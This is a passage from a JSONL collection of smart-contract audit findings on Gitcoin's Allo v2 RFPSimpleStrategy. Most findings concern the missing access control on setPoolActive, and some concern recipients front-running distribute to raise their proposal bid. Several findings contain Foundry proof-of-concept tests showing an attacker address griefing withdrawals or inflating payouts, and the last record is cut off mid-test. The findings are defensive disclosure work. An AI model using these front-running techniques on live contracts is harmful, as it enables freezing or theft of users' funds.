anyone to set the `poolActive` flag. This allows for an already registered recipient to frontrun a pool manager call to `distribute` with a call to `registerRecipient`, increasing their `proposalBid` such that when the `distribute` call proceeds, they will receive a greater payout than the pool manager had previously approved. `_distribute` lacks validation that the recipient's status is still `Accepted`.\n\n## Impact\n\nPreviously approved recipients can increase the amount of tokens they're due to receive immediately before receiving them, without pool manager approval.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n```solidity\n// @audit anyone can call this\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417\n```solidity\n// @audit lacks validation of recipient status\nfunction _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n{\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // @audit if only taking a percentage of the proposal bid, \n // why do we need to validate the full proposal bid is less than poolAmount?\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`setPoolActive` should be an `onlyPoolManager` protected function. Additionally, there should be validation that the recipient status is `Accepted` in `_distribute`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/246.md"}} +{"title":"RFPSimpleStrategy.setPoolActive() does not check that msg.sender is a pool manager","severity":"major","body":"Keen Amethyst Guppy\n\nmedium\n\n# RFPSimpleStrategy.setPoolActive() does not check that msg.sender is a pool manager\n`RFPSimpleStrategy.setPoolActive()` does not check the sender permissions (the function comment says that it checks it though).\n\n## Vulnerability Detail\nFunction `RFPSimpleStrategy.setPoolActive` does not check that `msg.sender` is a pool manager, there is no check in the called function `BaseStrategy._setPoolActive` as well. So, anyone can call the function.\n\n## Impact\nCore functions of the strategy (`_allocate`, `_registerRecipient`, `withdraw`) have `onlyActivePool`/`onlyInactivePool` modifiers, so anyone can change the pool state and affect the strategy functions. For example, an attacker can front run calls to `withdraw` and do not allow to withdraw funds.\n\n## Code Snippet\n\nRFPSimpleStrategy.sol:\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\nBaseStrategy.sol:\n```solidity\n /// @notice Set the pool to active or inactive status.\n /// @dev This will emit a 'PoolActive()' event. Used by the strategy implementation.\n /// @param _active The status to set, 'true' means active, 'false' means inactive\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd check for `msg.sender` to the function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/242.md"}} +{"title":"The `RFPSimpleStrategy.setPoolActive()` has not caller restriction","severity":"major","body":"Brief Mahogany Tiger\n\nhigh\n\n# The `RFPSimpleStrategy.setPoolActive()` has not caller restriction\n\nAnyone can call the `The RFPSimpleStrategy.setPoolActive()` function causing an attacker to damage the registration, allocation, distribution and withdraw actions.\n\n## Vulnerability Detail\n\nThe [RFPSimpleStrategy.setPoolActive()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) can be called by anyone, it does not have any restriction about who can call the function, contradicting the comment in the line 217 that it should be called only by the `pool manager`:\n\n```solidity\nFile: RFPSimpleStrategy.sol\n216: /// @notice Toggle the status between active and inactive.\n217: /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n218: /// @param _flag The flag to set the pool to active or inactive\n219: function setPoolActive(bool _flag) external {\n220: _setPoolActive(_flag);\n221: emit PoolActive(_flag);\n222: }\n```\n\nI created a test where an attacker can call the `setPoolActive()` function without any restriction:\n\n```solidity\n// File: test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest\n// $ forge test --match-test \"test_anyOneCanCallSetPoolActive\" -vvv \n function test_anyOneCanCallSetPoolActive() public {\n // Anyone can call the setPoolActive() function.\n // The function must be called only by pool manager.\n //\n address attacker = address(1337);\n vm.startPrank(attacker);\n strategy.setPoolActive(false);\n strategy.setPoolActive(true);\n }\n```\n\n## Impact\n\nThe modifiers [onlyActivePool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L74) and [onlyInactivePool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L81) are used in the next functions:\n- [_registerRecipient()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L317C9-L317C23)\n- [_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391C9-L391C23)\n- [withdraw()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295)\n- [_distribute()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L421)\n\nAn attacker can block the access of those function at convenience, causing that funds in the strategy contract may be trapped.\n\n## Code Snippet\n\n- [RFPSimpleStrategy.setPoolActive()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219)\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nAdd `onlyPoolManager(msg.send)` modifier to the function:\n\n```diff\n-- function setPoolActive(bool _flag) external {\n++ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender){\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/241.md"}} +{"title":"Unauthorized Access to Pool State","severity":"major","body":"Polished Linen Butterfly\n\nhigh\n\n# Unauthorized Access to Pool State\n\nThe `setPoolActive` function in the `RFPSimpleStrategy.sol` smart contract `(lines 219-222)` has a vulnerability that allows any user to manipulate the state of the pool, which can lead to critical security risks. As mentioned in the comments, 'msg.sender' must be a pool manager.\n\n## Vulnerability Detail\n\nThe `setPoolActive` function does not have proper access control, which means that any user can call this function and open or close the pool at will. The `poolActive` boolean parameter is used in modifiers `onlyActivePool` and `onlyInactivePool` from `BaseStrategy.sol`, which are, in turn, used in critical functions such as `_registerRecipient`, `_allocate`, `withdraw`, and `_distribute`.\n\n## Impact\n\nThe impact of this vulnerability is severe. A malicious actor can frontrun, manipulate, and disrupt the protocol by opening and closing the pool whenever they desire. This manipulation can potentially lead to financial losses and instability within the protocol, affecting all participants.\n\n## Code Snippet\n\n`RFPSimpleStrategy.sol`\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo mitigate this issue, it is strongly recommended to implement proper access control in the `setPoolActive` function. Access should be restricted to authorized pool managers only. This can be achieved by modifying the function for example:\n\n```solidity\n function setPoolActive(bool _flag) external onlyPoolManager {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\nwhere `PoolManager` is `msg.sender`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/240.md"}} +{"title":"Anyone can activate or deactivate the pool due to the missing Access Control checks","severity":"major","body":"Petite Wooden Elephant\n\nhigh\n\n# Anyone can activate or deactivate the pool due to the missing Access Control checks\nDue to the absence of Access Control checks in the `setPoolActive` function within `RFPSimpleStrategy.sol`, anyone can activate or deactivate the pool.\n\n## Vulnerability Detail\nIn the `RFPSimpleStrategy.sol` contract, the `setPoolActive` function lacks proper access control, allowing any user to toggle the pool's status between active and inactive. \n\nThis function directly modifies the `poolActive` variable and the vulnerability stems from the reliance on the `poolActive` variable in two critical function modifiers: `onlyActivePool` and `onlyInactivePool`.\n\nThese modifiers are applied to essential functions:\n- `_registerRecipient` and `_allocate` can only be invoked when `onlyActivePool` is satisfied.\n- `_distribute` and `withdraw` functions can only be called when `onlyInactivePool` is satisfied.\n\nThe current state of the contract makes it vulnerable to unauthorized changes to the pool's status, which can disrupt the normal protocol operation and potentially lead to a freezing of funds by preventing the pool admin to call `_distribute` or `withdraw`\n\n## Impact\nExploiting this vulnerability can disrupt protocol operations, potentially leading to the freezing of funds\n\n## Code Snippet\nMissing Access Control check in `setPoolActive`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n`_setPoolActive` that will be called by `setPoolActive` to change the `poolActive` value and has no access control neither\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L277\n\n`onlyActivePool` modifier which checks to see if the pool is active or not by calling `_checkOnlyActivePool`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L74\n\n`_checkOnlyActivePool` function which will revert in the case when the pool is inactive:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L258\n\n`onlyInactivePool` modifier which checks to see if the pool is inactive or not by calling `_checkInactivePool`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L81\n\n`_checkOnlyInactivePool` function which will revert in the case when the pool is active:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L264\n\nUsing `onlyInactivePool` modifier in `_distribute` function:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L421\n\nUsing `onlyInactivePool` modifier in `withdraw` function:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295\n\nUsing `onlyActivePool` modifier in `_registerRecipient` function:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L317\n\nUsing `onlyActivePool` modifier in `_allocate` function:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391\n\n## Tool used\n\nManual Review\n\n## Recommendation\nOnly the pool admin/manager should be able to call this function:\n```diff\ndiff --git a/RFPSimpleStrategy.sol.orig b/RFPSimpleStrategy.sol\nindex ade056f..922e538 100644\n--- a/RFPSimpleStrategy.sol.orig\n+++ b/RFPSimpleStrategy.sol\n@@ -216,7 +216,7 @@ contract RFPSimpleStrategy is BaseStrategy, ReentrancyGuard {\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n- function setPoolActive(bool _flag) external {\n+ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/237.md"}} +{"title":"Missing access control on `setPoolActive`","severity":"major","body":"Rhythmic Lime Pig\n\nmedium\n\n# Missing access control on `setPoolActive`\nNo access control on `setPoolActive`\n## Vulnerability Detail\nAnyone can toggle the status of a pool from active to inactive, this function is meant to be called by a pool manager but it's missing an access control.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n```solidity\n/// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nYou can also see that it inherits from [BaseStrategy._setPoolActive](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L276) which provides no access control.\n```solidity\nfunction _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\n\n## Impact\nAnyone could brick any functionalities that depends on the active state of the pool.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd access control to `setPoolActive`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/236.md"}} +{"title":"Anyone can set the status of the pool in `RFPSimpleStrategy#setPoolActive()` to grief the system.","severity":"major","body":"Macho Maroon Scorpion\n\nhigh\n\n# Anyone can set the status of the pool in `RFPSimpleStrategy#setPoolActive()` to grief the system.\nThe function `RFPSimpleStrategy#setPoolActive()` lacks access controls, enabling any individual to toggle the pool's status between open and closed. This vulnerability can be exploited to disrupt the system and potentially grief its users.\n\n## Vulnerability Detail\n\nThe function `setPoolActive(bool)` is an `external` function that could close or open the pool and is meant to be called by the pool owner or manager. \n\n**Pool Must Be Active:**\n- **Internal Functions:**\n 1. `_registerRecipient()`: This function registers a recipient, which should only be possible when the pool is active.\n 2. `_allocate()`: This function selects a recipient for the RFP allocation, again only possible when the pool is active.\n\n**Pool Must Be Inactive:**\n- **Internal Functions:**\n 1. `_distribute()`: Distribute the upcoming milestone to `acceptedRecipientId` , which should only be possible when the pool is inactive. \n \n- **External Functions:**\n 1. `withdraw()`: Allows the pool manager to withdraw the funds, which is only possible when the pool is inactive. \n\n\nFor illustration, let's see how the the system can be griefed for all the above transactions:\n- `Bob` is a pool manager responsible for overseeing the funds and ensuring their proper distribution.\n- `Alice` is a deserving recipient who has submitted her milestones and is awaiting her funds.\n- `Vicky` is a nefarious player in this scenario. She spots a vulnerability in the system: the function `setPoolActive(bool)` lacks proper access controls, potentially allowing anyone, including her, to exploit this oversight.\n\nAttack#1 (Registration Griefing): Alice starts a transaction to register as a recipient in a pool. Sensing an opportunity from a vulnerability, Vicky intervenes. She front-runs Alice's transaction, deactivating the pool. Consequently, Alice's attempt to register as a recipient fails.\n\n**Attack#2 (Allocation Griefing)**: `Bob` initiates the process to allocate funds to `Alice`. However, due to the vulnerability spotted by `Vicky`, she takes advantage. Before `Bob's` transaction is confirmed, `Vicky` front-runs it to execute her own transaction, thereby shutting down the pool. As a result, the intended allocation of funds to `Alice` gets disrupted, causing undue grief in the process of allocation of funds.\n\n**Attack#3 (Distribution Griefing)**: Or if `Bob` gears up to distribute funds to `Alice`, `Vicky` spots an opportunity to exploit the system once more. This time, she front-runs `Bob`'s transaction, preemptively opening the pool. Because of this unexpected move, `Bob` finds himself unable to distribute the intended funds to `Alice`, further complicating the fund allocation process.\n\n**Attack#4 (Withdraw Griefing)** : Or if `Bob` attempts to withdraw the funds from the pool, `Vicky` can exploit the system by front-running `Bob's` transaction, to activate the pool. \n\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Impact\nAny pools employing the RFP strategy could face severe disruptions. This vulnerability may lead to widespread griefing, potentially bringing the entire system to a standstill.\n\n## Code Snippet\n\n```solidity\n\n\n function testRevert_AnyoneCanCallSetPool() public {\n vm.prank(profile1_notAMember());\n strategy.setPoolActive(true);\n assertTrue(strategy.isPoolActive());\n\n vm.prank(profile1_notAMember());\n strategy.setPoolActive(false);\n assertFalse(strategy.isPoolActive());\n }\n\n\n function testAttack1_Registration_Griefing() public {\n address sender = recipient();\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n bytes memory data = abi.encode(recipientAddress(), false, 1e18, metadata);\n\n //Front running transaction to deactivate the pool\n vm.prank(profile1_notAMember());\n strategy.setPoolActive(false);\n assertFalse(strategy.isPoolActive());\n\n vm.expectRevert(POOL_INACTIVE.selector);\n vm.prank(address(allo()));\n strategy.registerRecipient(data, recipient());\n }\n\n\n function testAttack2_Allocation_griefed() public {\n address recipientId = __register_setMilestones();\n //Front running transaction to deactivate the pool\n vm.prank(profile1_notAMember());\n strategy.setPoolActive(false);\n assertFalse(strategy.isPoolActive());\n vm.expectRevert(POOL_INACTIVE.selector);\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(recipientId), address(pool_admin()));\n }\n \n function testAttack3_Distribution_Griefing() public {\n address recipientId = __register_setMilestones_allocate();\n vm.deal(pool_admin(), 1e19);\n vm.prank(pool_admin());\n allo().fundPool{value: 1e19}(poolId, 1e19);\n\n //Front running transaction to activate the pool\n vm.prank(profile1_notAMember());\n strategy.setPoolActive(true);\n assertTrue(strategy.isPoolActive());\n\n\n vm.expectRevert(POOL_ACTIVE.selector);\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n }\n \n function testAttack4_Withdraw_Griefing() public {\n allo().fundPool{value: 1e18}(poolId, 1e18);\n \n //Front running transaction to activate the pool\n vm.prank(profile1_notAMember());\n strategy.setPoolActive(true);\n assertTrue(strategy.isPoolActive());\n\n vm.startPrank(pool_admin());\n vm.expectRevert(POOL_ACTIVE.selector);\n strategy.withdraw(9.9e17); // 1e18 - 1e17 fee = 9.9e17\n assertEq(address(allo()).balance, 0);\n vm.stopPrank();\n }\n\n //Internal test functions\n function __setMilestones() internal {\n RFPSimpleStrategy.Milestone[] memory milestones = new RFPSimpleStrategy.Milestone[](2);\n RFPSimpleStrategy.Milestone memory milestone = RFPSimpleStrategy.Milestone({\n metadata: Metadata({protocol: 1, pointer: \"metadata\"}),\n amountPercentage: 7e17,\n milestoneStatus: IStrategy.Status.Pending\n });\n RFPSimpleStrategy.Milestone memory milestone2 = RFPSimpleStrategy.Milestone({\n metadata: Metadata({protocol: 1, pointer: \"metadata\"}),\n amountPercentage: 3e17,\n milestoneStatus: IStrategy.Status.Pending\n });\n\n milestones[0] = milestone;\n milestones[1] = milestone2;\n\n vm.prank(address(pool_admin()));\n vm.expectEmit();\n emit MilestonesSet();\n strategy.setMilestones(milestones);\n }\n\n function __register_setMilestones() internal returns (address recipientId) {\n recipientId = __register_recipient();\n __setMilestones();\n }\n\n```\n## Tool used\n\nFoundry\nVS Code\n\n## Recommendation\nConsider implementing the access control as described in the natspec comment for `RFPSimpleStrategy#setPoolActive()`. This will ensure that the `msg.sender` is genuinely the pool owner or manager, thus preventing unauthorized or unintended callers from manipulating the function.\n\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n // @audit `onlyPoolManager(msg.sender)` function modifier applied\n function setPoolActive(bool _flag) external onlyPoolManager(msg.sender){\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/222.md"}} +{"title":"Not limited to call setPoolActive","severity":"major","body":"Expert Stone Porcupine\n\nfalse\n\n# Not limited to call setPoolActive\n\nOn setPoolActive function, it is not limited to call.\n\n## Vulnerability Detail\n\nThe setPoolActive function can be called by anyone.\n\t\n## Impact\n\nAttacker can activate or deactivate this pool freely. \nIf attacker persist to activate some pool on \"RFPSimpleStrategy\", the pool manager cannot run withdraw, distribute actions since these actions can be only executed in \"Inactive\" status.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe full code I recommend is as follows.\n\n
\n\tfunction setPoolActive(bool _flag) external {\n\tfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n\t\t_setPoolActive(_flag);\n\t\temit PoolActive(_flag);\n\t}\n
","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/221.md"}} +{"title":"Lack of onlyPoolManager in RFPSimpleStrategy#setPoolActive lead to DOS of many functions","severity":"major","body":"Quiet Seaweed Beaver\n\nhigh\n\n# Lack of onlyPoolManager in RFPSimpleStrategy#setPoolActive lead to DOS of many functions\nLack of onlyPoolManager in RFPSimpleStrategy#setPoolActive lead to DOS of many functions\n\n## Vulnerability Detail\nIn RFPSimpleStrategy#setPoolActive, there is no modifier to make sure that msg.sender must be a pool manager to close the pool like in dev's note:\n\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\nIt lead to anyone can call `setPoolActive` function and fron-running to DOS functions that use onlyActivePool and onlyActivePool like `withdraw`, `_distribute`, `_registerRecipient`, `_allocate`\n\n## Impact\nAny function that use onlyActivePool and onlyInactivePool can be front-run and DOS\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-#L222\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd onlyPoolManager modifier to function:\n\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/206.md"}} +{"title":"Lack of access control for setPoolActive function","severity":"major","body":"Digital Orange Badger\n\nmedium\n\n# Lack of access control for setPoolActive function\n\n[RFPSimpleStrategy.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol) contains a function that can be used to change the internal variable `poolActive` that is tied to `onlyActivePool` and `onlyInactivePool` modifiers. This function can be called by anyone disrupting the expected flow of the strategy.\n\n## Vulnerability Detail\n\nThroughout the strategy the following functions contain modifiers that check the status of `poolActive`:\n\n`onlyActivePool` modifier: `_allocate` and `_registerRecipient` functions (with external functions in `BaseStrategy.sol`)\n`onlyInactivePool` modifier: `_distribute` (with external function in `BaseStrategy.sol`) and `withdraw` functions\n\nThese 4 functions which represent the core of the strategy can be frontrun by a malicious party with `setPoolActive(false)` or `setPoolActive(true)` in order to block the funds going out of the contract and the core methods of the strategy.\n\n## POC:\n\nPaste this in `RFPSimpleStrategy.t.sol`:\n\n```javascript\n function test_grief_withdraw() public {\n allo().fundPool{value: 1e18}(poolId, 1e18);\n vm.startPrank(pool_admin());\n strategy.setPoolActive(false);\n vm.stopPrank();\n\n vm.startPrank(address(1337)); //fresh address no access privileges\n strategy.setPoolActive(true);\n vm.stopPrank();\n\n vm.startPrank(pool_admin());\n vm.expectRevert(POOL_ACTIVE.selector);\n strategy.withdraw(9.9e17); // 1e18 - 1e17 fee = 9.9e17\n vm.stopPrank();\n }\n```\n\n## Impact\n\nGiven that this protocol should work on `All EVM compatible chains + Zkync Era` a Malicious party can perform a DDOS by changing the `poolActive` variable to always fail the `onlyActivePool` / `onlyInactivePool` modifier condition. \n\nThe cost of the operation will be next to nothing on chains with cheap transaction costs. \nFunds will be stuck in the contract because all the distribution/withdraw methods will be grieved.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L276-L279\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nGiven that the natspec contains the following `/// @dev 'msg.sender' must be a pool manager to close the pool.` my recommendation is doing exactly that. Use the `onlyPoolManager(msg.sender)` modifier to restrict access to `setPoolActive` function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/197.md"}} +{"title":"RFPSimpleStrategy.sol#setPoolActive() missing access control","severity":"major","body":"Suave Orchid Crab\n\nmedium\n\n# RFPSimpleStrategy.sol#setPoolActive() missing access control\nsetPoolActive function missing access control\n\n## Vulnerability Detail\nThere is a comment that says \n> 'msg.sender' must be a pool manager to close the pool\n\nbut there is no modifier or any checks to prove that the msg.sender is a pool manager which allows anyone to close/open the pool.\n## Impact\nAnyone can change the state of the pool\n\n## Code Snippet\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219C1-L222C6\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd onlyPoolManager(msg.sender) modifier","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/196.md"}} +{"title":"Recipients can disrupt the RFP Simple Strategy by changing a proposal bid to front-run distribution calls","severity":"major","body":"Rich Jade Wolf\n\nhigh\n\n# Recipients can disrupt the RFP Simple Strategy by changing a proposal bid to front-run distribution calls\nThe recipient can change the initial proposal bid during distributions in the RFP Simple Strategy.\n\n## Vulnerability Detail\n\n1. The recipient sets the proposal bid upon registration.\n2. They follow a standard flow: set milestones, allocate funds, and submit upcoming milestones.\n3. The recipient scans the mempool for transactions calling the `distribute` function.\n4. They front-run the call and change the initial proposal bid to another value.\n\n## Impact\nRecipient receives more funds than initially expected\n\n## Code Snippet\n```solidity\nfunction testFrontRunAttack() public {\n // The attacker registers as a recipient and sets the proposal bid to 0.2 ether\n address attacker = recipient();\n uint256 proposalBid = 0.2 ether;\n\n Metadata memory metadata = Metadata({ protocol: 1, pointer: \"metadata\" });\n\n bytes memory data = abi.encode(attacker, false, proposalBid, metadata);\n\n vm.prank(address(allo()));\n address recipientId = strategy.registerRecipient(data, attacker);\n\n RFPSimpleStrategy.Recipient memory _recipient = strategy.getRecipient(recipientId);\n console.log(\"Attacker address: %s\", _recipient.recipientAddress);\n console.log(\"Attacker proposal bid: %s\", _recipient.proposalBid);\n\n // Set milestones, first 70%, second 30%\n __setMilestones();\n\n // Allocate\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(recipientId), address(pool_admin()));\n\n // Submit the upcoming milestone\n vm.prank(attacker);\n strategy.submitUpcomingMilestone(metadata);\n\n // Fund the pool\n vm.deal(pool_admin(), 1e19);\n vm.prank(pool_admin());\n allo().fundPool{ value: 1e19 }(poolId, 1e19);\n\n // --- Start attack transaction\n vm.prank(attacker);\n strategy.setPoolActive(true);\n console.log(\"Switch pool status to active\");\n\n // Top up the proposal bid 